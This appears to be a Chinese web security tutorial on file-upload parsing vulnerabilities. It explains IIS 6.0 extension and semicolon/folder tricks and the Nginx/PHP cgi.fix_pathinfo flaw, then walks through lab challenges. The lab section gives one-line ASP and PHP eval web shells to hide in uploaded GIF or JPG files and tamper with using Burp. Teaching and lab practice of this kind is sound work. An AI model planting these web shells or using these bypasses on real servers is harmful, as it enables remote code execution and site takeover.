7-3文件上传解析漏洞(三)
一、IIS6.0解析漏洞
IIS6.0解析漏洞(一)
IIS6.0除了将ASP后缀当做ASP进行解析的同时,当文件后缀名字为.asa .cer .cdx 也会当做asp去解析,这是因为IIS6.0在应用程序扩展中默认设置了.asa .cer .cdx 都会调用 asp.dll,
可以通过以下设置网站什么后缀用什么解析。
IIS6.0解析漏洞(二)
IIS5.1和IIS7.5无此漏洞。
IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。这一漏洞有两种完全不同的利用方式:
test.asp;.jpg 他将当做asp进行解析
test.asp/123.jpg 他将当做asp进行解析
请求 /aaa.asp;xxxx.jpg
N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg
N2:查找";"号,如果有则内存截断
N3:查找"/",如果有则内存截断
最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理
IIS6.0解析漏洞(三)
文件夹名字如果是x.asp那么这个文件夹下任意文件都作asp执行
二、CGI解析漏洞
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设SCRIPT_FILENAME。
当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME(绝对路径)传递给PHP CGI,如果开启了cgi.fix_pathinfo=1选项(这个默认值就是1,所以没有设置过就是开启),那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME(绝对路径)是phpinfo.jpg,而1.php是PATH_INFO,所以就会phpinfo.jpg作为PHP文件来解析了.
也是一个逻辑问题,所以说我们只需要在正常的.jpg后面加/.php就可以成功的绕过解析
可以通过云悉识别:http://www.yunsee.cn/info.html
这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞
三、靶场大闯关
1.IIS6.0解析漏洞(一)asp
将<%eval request("a")%>
写入gif文件的第3行,将1.gif文件上传,用burp修改数据包
在此文件夹下可以找到flag
2.IIS6.0解析漏洞(二)asp
将<%eval request("a")%>
写入gif文件的第3行,将1.gif文件上传,用burp修改数据包
在此文件夹下可以找到flag
3.IIS6.0解析漏洞(三)asp
将<%eval request("a")%>
写入jpg文件最后,将1.jpg文件上传
4.CGI解析漏洞php
将<?php eval($_REQUEST[\'a\']);?>
写入gif文件的第3行,将php.gif文件上传
- 点赞
- 收藏
- 关注作者
评论(0)